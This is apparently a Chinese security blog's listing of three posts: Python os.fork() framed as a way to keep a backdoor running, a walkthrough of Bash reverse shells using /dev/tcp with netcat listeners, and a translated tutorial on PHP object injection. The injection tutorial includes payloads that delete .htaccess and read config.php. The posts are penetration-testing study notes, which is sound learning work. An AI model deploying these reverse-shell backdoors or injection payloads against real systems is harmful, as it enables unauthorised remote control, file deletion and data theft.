Python编程

python里的fork函数

python里的fork函数
        0x01.什么是fork()函数            fork()是计算机程序设计中的分叉函数.            返回值: 若成功调用一次则返回两个值,子进程返回0,父进程返回子进程标记;否则,出错返回-1.            示例:    >>> import os     >>> print os.fork()     4150     0            终端下查看:    root@greenboy:~/Desktop/SPSE/Lesson-2# pidof python         4150 4148     root@greenboy:~/Desktop/SPSE/Lesson-2# ps all | grep python     0 0 4148 3363 20 0 11296 4468 poll_s S+ pts/3 0:00 python     1 0 4150 4148 20 0 11428 3256 poll_s S+ pts/3 0:00 python            可以看出pid为4150是新创建出来的pid为4148的子进程.返回值 4150一个是子进程PID,0是标识创建成功了.        0x02.fork()函数有什么意思            用下面的代码来实践下:root@greenboy:~/Desktop/SPSE/Lesson-2# cat pro.py #! /usr/bin/env python from time import sleep import os def child_process(): print "I am child process and my PID is : %d"%os.getpid() print "The Child is exiting!" ida = 1 while True: print "child excute "+repr(ida)+" times" sleep(2) ida = ida + 1 def parent_process(): print "I am the parent process with PID:%d"%os.getpid() childpid = os.fork() if childpid ==0: child_process() else: print "We are inside the parent process" print "Our child has the PID:%d"%childpid idb = 1 while True: print "parent excute "+repr(idb)+" times…" sleep(2) idb = idb + 1 parent_process()        执行效果:                    杀掉子进程:root@greenboy:~/Desktop/SPSE/Lesson-2# kill pid 4346 bash: kill: pid: arguments must be process or job IDs root@greenboy:~/Desktop/SPSE/Lesson-2#            现在只有父进程在执行了:                                重新来一次,杀死父进程:            效果:                            查看PID                            子进程被托付给PID为1的进程了,通过查看找到PID为1的是守护进程:                            它是最上级的进程了,他的PPID为0了.这样该子进程就会在后台一直默默的执行着,做后门是不是很棒了??反弹shell的python版要去好好学习下!        Linux中fork学习:        linux中的fork函数... 继续阅读 »
渗透技巧

分析各类反弹shell的姿势之Bash版

分析各类反弹shell的姿势之Bash版
     好好学习,天天向上.    0x01.适用对象        bash 是一个为GNU计划编写的Unix shell,是大多数Linux系统内置的shell. 因此适用于大多数Linux版本的系统.    0x02.利用方式        第一步:编写下面bash脚本bash -i >& /dev/tcp/攻击者Ip或肉鸡IP/shell端口 0>&1        或者bash -s >& /dev/tcp/攻击者Ip或肉鸡IP/shell端口 0>&1                这里写了两个bash脚本,bash执行参数有点不一样.-s 输入exit后断开.    第二步:给予bash执行权限x            后门已经创建好了,当前用户执行./bashDoor1.sh就会反弹了一个当前用户bash执行权限的shell到IP为                    192.168.1.101端口为8888.第三步:Nc本地监听等待连接..      使用NC本地监听端口8888,等待连接….nc.exe -vv -l -p 8888   第四步:启用后门 ./bashDoor1.sh   或者  ./bashDoor2.sh  NC 连接上后门                 0x03. 为理解其原理需要知道下面的东西        1. 要知道Linux中一切都看作是文件,在Linux中标准输入设备STDIN,在程序执行时一直开启等待用户的数据输入,标准输出设备STDOUT,标准错误输出设备STDERR默认面向屏幕或终段输出.他们的文件描述符如下:        STDIN 的文件描述符为 0        STDOUT 的文件描述符为 1        STDERR 的文件描述符为 2        2.要知道文件重定向:            重定向符:> 和 < > 输出到文件            < 从文件中接受输入 其中对于重定向输出:>            使用时是这样的:文件描述符>文件名            > 前面默认是1使用标准输出设备输出            > 后面可以使用&表明后面也当作文件描述符.root@greenboy:~/Desktop/tools/exploit# cat <bashdoor2.sh #<="" bash="" -i="" style="box-sizing: border-box;">& /dev/tcp/192.168.1.101/8888 0>&1 root@greenboy:~/Desktop/tools/exploit# cat <2.txt #2.txt文件不存在报错 bash: 2.txt: No such file or directory root@greenboy:~/Desktop/tools/exploit# cat >2.txt #> 表示输出到2.txt文件,没有文件就创建新的,已经存在就会覆盖原文件. aaa a a a a a a ^C root@greenboy:~/Desktop/tools/exploit# cat 2.txt aaa a a a a a a root@greenboy:~/Desktop/tools/exploit#        3. 要知道Linux下面有个特殊的问文件 /dev/tcp[udp]/host/post文件            可以通过这个文件实现TCP或UDP通信.            结合重定向和TCP通信,可以有下面例子:            NC本地监听开启8888端口:nc.exe -vvlp 8888        使用TCP通信cat读取来自IP为192.168.1.101的8888端的数据,然后重定向输出到文件8888.txt        cat 8888.txt        通信建立成功,开始写数据.                     ctrl + c 中断通信                    Linux查看当前目录下多了个8888.txt文件:            查看内容:root@greenboy:~/Desktop/tools/exploit# cat 8888.txt hello welcome to here good bye root@greenboy:~/Desktop/tools/exploit#        对! 没错,这就是nc连接上提交来的数据!            4.上面我们通过/dev/tcp/IP/PORT通信得到了8888.txt文件,那么我们是否可以把从NC里读取到的数据用于执行了? 于是bash中后门就上场了    -c字符串        若用-c参数,则bash从字符串中读入命令,如果字符串后还有变量就被设定为从$0开始的位置参数。        -i    若用-i参数,则bash是交互的。    -s    若用-s参数,则bash从标准输入中读入命令(在执行完-c带的命令之后。)直到输入exit。    bash中交互式命令-i使用:    bash1.sh:    bash -i >& 0>&1 # 输入设备的数据执行后重定向输出设备    ./bash1.sh        ping www.baidu.com                那门再看此后门:bash -i >& /dev/tcp/攻击者Ip或肉鸡IP/shell端口 0>&1    bash以交互式方式在后台执行,从/dev/tcp/IP/PORT读取到数据作为输入设备数据被作为bash执行参数并输出.0x05.小结    实践一下总是效果极好的,输入输出重定向有了新的认知.bash脚本查了资料有了点了解.特别知道            了/dev/tcp[udp]/IP/PORT这中文件.会去TCP或UDP连接.    1. bash -c “ifconfig” 直接执行.文章学习来源:linux shell 脚本实现tcp/upd协议通讯(重定向应用) 各类反弹shellLinux重定向命令... 继续阅读 »
渗透技巧

Understanding-php-object-injection-翻译&学习

Understanding-php-object-injection-翻译&学习
恍如隔世:    1. 不知什么时候写笔记也模仿乌云知识库的大牛们写文的风格用:0x01、0x02、0x03 咯!!    2. 之前博客的服务器在学院的机房失联N久了,没办法只有在这特殊时刻,重新开个博客了.以后再慢慢把以前博客上东西一点点腾写过来吧!自己的东西还是放在自己手里方便些!    3. 作为第一篇学习文章,开个头!!    4. 越来越佩服国外大牛了,正在收集国外大牛和安全社区的链接,以后做个好搬运工翻译在自己博客留着学习!!言归正传:理解PHP对象注入     0x00. 背景本文学习自 http://securitycafe.ro/2015/01/05/understanding-php-object-injection/     PHP对象注入并不是一个很常见的漏洞,它可能很难用于利用,但真的很危险.为了理解这个漏洞,需要能读懂基本的PHP代码的能力.   0x01. 漏洞实例        如果你认为这不是一种重要的漏洞类型,请看下面列出的清单.研究者在非常流行的PHP运用实例中发现的PHP对象注入漏洞.        Wordpress3.6.1        Magento1.9.0.1        Joomla3.0.3                 还有很多其他的. 在这些或者其他非常流行的PHP运用实例中可能还有大量未被发现的PHP代码注入漏洞,因此也许你可以休息一下喝杯咖啡和试着了解它.   0x02. PHP类和对象        PHP中类和对象是很容易理解的.例如下面的代码就定义了一个带有一个变量和一个方法的类.<?php 文件名:TestClass.php class TestClass {     // 一个简单的变量     public $variable = 'This is a string';     // 一个简单的方法     public function PrintVariable()     {         echo $this->variable;     } } // 创建一个对象 $object = new TestClass(); // 调用它的方法 $object->PrintVariable(); ?>    它创建了一个对象然后调用了“PrintVariable”函数并打印变量的值.如果你想学习更多的PHP面向对象程序设计,跟随这个链接OOP   0x03. PHP魔法函数            PHP类可以包含特殊的函数被叫做魔法函数.魔法函数名字以"__"开头,比如:构造函数__construct,析构函数__destruct,转字串函数__tostring,挂起函数__sleep,唤醒函数__wakeup 和其他的.    这些函数在一定的情况下会被自动调用,例如:    1. 构造函数 __construct 会被调用当一个对象被创建的时候.    2. 析构函数 __destruct 会被调用当一个对象被销毁的时候.    3. 转字串函数__tostring 会被调用当一个对象被用作为一个字串时.     为了理解魔法函数是如何工作的,我们添加一些魔法函数在我们的类里面.     文件名:TestClass2.php<?php class TestClass {     // 一个简单变量         public $variable = 'This is a string';         // 一个简单方法         public function PrintVariable()     {         echo $this->variable . '';     }         // 构造函数         public function __construct()     {         echo '__construct';     }         // 析构函数         public function __destruct()     {         echo '__destruct';     }         // 转字符串函数         public function __toString()     {         return '__toString';     } } // 创建一个对象 // 将会调用执行构造函数:__construct $object = new TestClass(); // 调用执行PrintVariable方法 // 程序将会打印 'This is a string' $object->PrintVariable(); // 对象作为字符串使用 // 将会调用执行转字串函数:__toString echo $object; // PHP脚本执行结束 // 将会调用执行析构函数: __destruct ?>        我们现在有3个另外的方法: __construct, __destruct 和 __toString.正如你看到的,当一个对象被创建的时候构造函数__construct被调用执行,当PHP脚本结束并且PHP对象销毁的时候析构函数__destruct被调用执行和当对象被作为字符串使用时转字串函数__tostring被调用.这个‘echo’函数将会把$object对象作为一个字符串处理这时__tostring函数就被自动调用了.        这个脚本将会输出:        __construct        This is a string        __toString        __destruct                这里是一些基本的魔法函数思想。如果你想学习有关的所有魔法函数,请跟随链接      0x04. PHP对象序列化            PHP允许对象序列化.序列化是一个允许你保存一个对象和晚些时候重用它的存储过程.比如:你可以保存一个包含一些用户信息的对象和晚些时候重用它.            为了序列化一个对象,你需要调用序列化函数“serialize”.它会返回一个有代表性的字符串,晚些时候可以通过调用反序列化函数“unserialize”重用它来创建和重用你的对象.            让我们用一个简单的User类,序列化一个对象并看它被序列化后的表示形式.        文件名:TestUser.php<?php         // 定义一个简单的User类     class User     {         // 类数据变量         public $age = 0;         public $name = '';         // 打印信息的方法         public function PrintData()         {             echo 'User ' . $this->name . ' is ' . $this->age                  . ' years old.';         }     }     // 创建一个user对象     $usr = new User();     // 填充user数据     $usr->age = 20;     $usr->name = 'John';     // 打印数据     $usr->PrintData();     // 序列化对象并打印序列化返回结果     echo serialize($usr);     ?>        这个脚本将会输出:   User John is 20 years old.     O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}                    正如你看到的,这里有一些类变量和用户填充数据:John 和 20.        为了重用这个对象,我们反序列化这个序列化后的字符串:        文件名:TestUser2.php<?php class User {     // 类数据变量     public $age = 0;     public $name = '';     // 打印数据     public function PrintData()     {         echo 'User ' . $this->name . ' is ' . $this->age . ' years old.';     } } // 利用反序列化创建一个对象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'); // 打印数据 $usr->PrintData(); ?>        这个脚本会输出: User John is 20 years old.        0x05.反序列化魔法函数            作为构造函函数(__construct)和析构函数(__destruct)当一个对象被创建和销毁时会被自动调用,其他的魔法函数会被调用当一个对象被序列化和反序列化时.            1. 挂起函数__sleep 被调用当一个对象被序列化时.            2. 唤醒函数__wakeup 被调用当一个对象被反序列化时.                    注意那个挂起函数__sleep必须返回一个由被序列化的变量名字构成的数组.        一个有关这些函数怎样工作的例子:        文件名:Testmogic.php<?php class Test {     public $variable = 'BUZZ';     public $variable2 = 'OTHER';         public function PrintVariable()     {         echo $this->variable . '<br />';     }         public function __construct()     {         echo '__construct<br />';     }         public function __destruct()     {         echo '__destruct<br />';     }         public function __wakeup()     {         echo '__wakeup<br />';     }         public function __sleep()     {         echo '__sleep<br />';         return array('variable', 'variable2');     } } // 创建一个对象,此时会自动调用构造函数:__construct $obj = new Test(); // 序列化一个对象,会自动调用挂起函数__sleep $serialized = serialize($obj); // 打印序列化结果字符串 print 'Serialized: ' . $serialized . ' '; // 反序列化字符串,会自动调用唤醒函数__wakeup $obj2 = unserialize($serialized); // 调用打印方法,会打印出反序列化得到的对象中的数据 $obj2-&gt;PrintVariable(); // PHP 脚本结束会为两个对象($obj and $obj2)调用析构函数__destruct ?>        这个脚本将会输出的结果:__construct __sleep Serialized: O:4:"Test":2:{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} __wakeup BUZZ __destruct __destruct            正如你看见的,我们创建了一个对象,序列化它(此时__sleep函数会被调用),利用第一个序列化的对象反序列化创建另外一个对象(此时__wakeup函数会被调用)PHP脚本完成执行后,析构函数会为两个对象被自动调用.            为了找到更多的信息关于对象序列化,请跟随链接:        0x06. PHP对象注入            我们现在了解了序列化是如何工作,但是我们怎么利用它呢?这里有多种可能情况。一切都取决于应用风格,可用的类和魔法函数。            要记住的是一个序列化的对象包含包含攻击者可控制的对象值.            你可以在web应用源码中发现,一个定义了__wakeup 或 __destruct方法的类,用它的这些方法做一些事情可能影响到web应用.            比如:我们发现一个临时存储日志到一个文件的类,当销毁时,这个对象可能不在需要日志文件并删掉它。                        文件名:logfile.php<?php class LogFile {     // 指定日志文件名字     public $filename = 'error.log';     // 记录一些数据     public function LogData($text)     {         echo 'Log some data: ' . $text . '<br />';         file_put_contents($this->filename, $text, FILE_APPEND);     }     // 销毁对象并删除日志文件     public function __destruct()     {         echo '__destruct deletes "' . $this->filename . '" file. <br />';         unlink(dirname(__FILE__) . '/' . $this->filename);     } } ?>           使用的例子:<?php include 'logfile.php'; // 创建一个对象 $obj = new LogFile(); // 指定文件名和日志记录数据 $obj->filename = 'somefile.log'; $obj->LogData('Test'); // PHP脚本结束,析构函数会自动调用执行“somefile.log”文件会被删除 ?>        在另外的脚本中,我们可以发现一个调用“unserialize”的函数使用了用户提供的数据(攻击者可控的-$_GET)文件名:script.php<?php include 'logfile.php'; // ... 使用到了LogFile类的其他代码 ... // 简单的类申明 class User {     // 类数据     public $age = 0;     public $name = '';     // 打印数据     public function PrintData()     {         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';     } } // 反序列化用户提供的数据 $usr = unserialize($_GET['usr_serialized']); ?>        正如你看到的,这段代码使用了LogFile类,有一个采用了用户提供的数据调用“unserialize”的函数,这个就是代码注入点.        一个有效的请求可能会像这样:        script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}        但是,如果用序列化的“LogFile”对象替换序列化的“User”对象来发送会发生什么呢? 没有任何事物强迫我们发送一个序列化的“User”对象,所以我们可以发送我们想发送的任何序列化的对象.        咱们创建一个序列化的“LogFile”对象:        文件名:mylog.php<?php //原文此处有错,没有include 文件,不能直接使用LogFile对象的. // 补充下面一条语句 include 'logfile.php'; $obj = new LogFile(); $obj->filename = '1.htaccess'; #windows 下没法创建.htaccess,于是创建1.htaccess测试 echo serialize($obj) . '<br />'; ?>        这个将会输出:      O:7:"LogFile":1:{s:8:"filename";s:10:"1.htaccess";}       _destruct deletes "1.htaccess" file.        并删除了1.htaccess文件        现在我们使用序列化的“LogFile”对象来构造我们的请求:        script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:10:"1.htaccess";} //构造请求注意前面那个是大写字母O不是数字0        请求之前:              请求后输出结果:        O:7:"LogFile":1:{s:8:"filename";s:10:"1.htaccess";} #我打印出来看,发现那个是O不是0的问题        __destruct deletes "1.htaccess" file.                现在这个“.htaccess”文件就被删除了.因为析构函数__destruct是被自动调用的并且我们可以接触到“LogFile”类变量,因此我们可以指定“filename”为任何值的情况是可能的        这就是漏洞名字的来源:为了获得代码执行或者对于你作为一个攻击者来说其他未知的有用的行为,替换期望使用的序列化后的对象,你注入其他PHP对象.        虽然这并不是最好的例子,但是你可以理解其思想:为了攻击攻击Web应用,反序列化要自动调用唤醒函数__wakeup和析构函数__destruct并且攻击者可以操控类变量.            0x07.常见的注入点        虽然这个“默认”可利用性与魔法函数__wakeup或__destruct有关,这里也存在其他常用的注入点可能允许你利用这种类型的漏洞.一切都与应用代码的流程有关.        例如:为了允许程序把对象作为一个字符串使用(例如:echo $ogj),一个User类可能会定义一个__toString方法.但是其他类可能也定义了一个__toString方法允许程序读取一个文件(例如:一个FileClass类).        文件名:script2.php<?php  // ... 包含一些其他的文件 ... class FileClass {     // 文件名变量     public $filename = 'error.log';     // 对象被用作一个字符串展示文件内容     public function __toString()     {         return file_get_contents($this->filename);     } } // User类 class User {     // 类数据     public $age = 0;     public $name = '';     // 允许对象当作一个字符串使用     public function __toString()     {         return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';     } } // 期望的: 用户提供一个序列化的User对象 $obj = unserialize($_GET['usr_serialized']); // 我们调用序列化对象的__toString方法 echo $obj; ?>        一个有效的请求将会使用一个已序列化的User对象:script2.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}        输出结果展示了User的信息:User John is 20 years old.        但是如果我们使用一个已序列化的FileClass对象会发生什么呢?        我们创建一个已序列化的FileClass对象例如:                文件名:Testconfig.php<?php //添加下面一句include文件script.php才能使用FileClass类或User类 include "script2.php"; $fileobj = new FileClass(); $fileobj->filename = 'config.php'; echo serialize($fileobj); ?>        输出结果:            警告信息是script2.php测试代码$_GET中变量未定义导致.注释测试代码或不管 Notice: Undefined index: usr_serialized in D:\PHP\xampp\htdocs\poc\FileUser.php on line 26 O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}        我们序列化的字符串会是这样:O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}        如果使用我们的FileClass对象调用先前同样的脚本会发生什么呢?script2.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}        它将会输出“config.php”文件的源码内容:        查看网页源码可见:        读取到config.php文件的源码:<!--?php  //配置文件 $private_data = 'MAGIC'; ?-->        很容易理解漏洞成因:因为攻击者提供了序列化的“FileClass”对象,反序列化函数“unserialize”通过$_GET得到的字符串并且在成功反序列化创建了“FileClass”对象,此时$obj代表的就是一个FileClass对象,echo时调用FileClass对象的__toString方法读取和输出我们控制的指定的文件名变量“filename”的值.        0x08.其他可利用场景                也可能使用其它的魔法函数:如果对象调用一个不存在的函数时__call 将会被调用,如果对象尝试获取不存在的类变量时__get和__set就会被调用等等.            但是这个利用性不限于魔法函数.同样的思想在普通的函数间同样会起作用.例如:一个User类可能定义一个"get"方法用于找到和输出一些user数据,但是其他的类可能定义一个"get"方法从数据库中取得数据,获取结果存在SQL注入漏洞形成(PHP代码注入+SQL注入).或者一个“set”或“write”方法写入数据到一个任意文件,可能会被利用获得远程代码执行.            唯一的技术问题就是在你的注入点里可利用的类,但是一些框架或脚本可能具有“自动加载”特性.你可以找到更多的信息在这里: 最大的问题其实是人:理解这种类型漏洞的应用代码流程,因为它可能要求大量的时间去阅读和理解代码.    0x09.如何修复和避免        在用户提供的数据上不使用“反序列化”.你可以使用json_decode替换.   0xfinal.总结        虽然很难找到甚至更加难利用,这也是一种非常危险的漏洞.它可以造成DOS拒绝服务攻击,任意文件读取,SQL注入,远程代码执行,或者任何应用代码流程允许的操作.... 继续阅读 »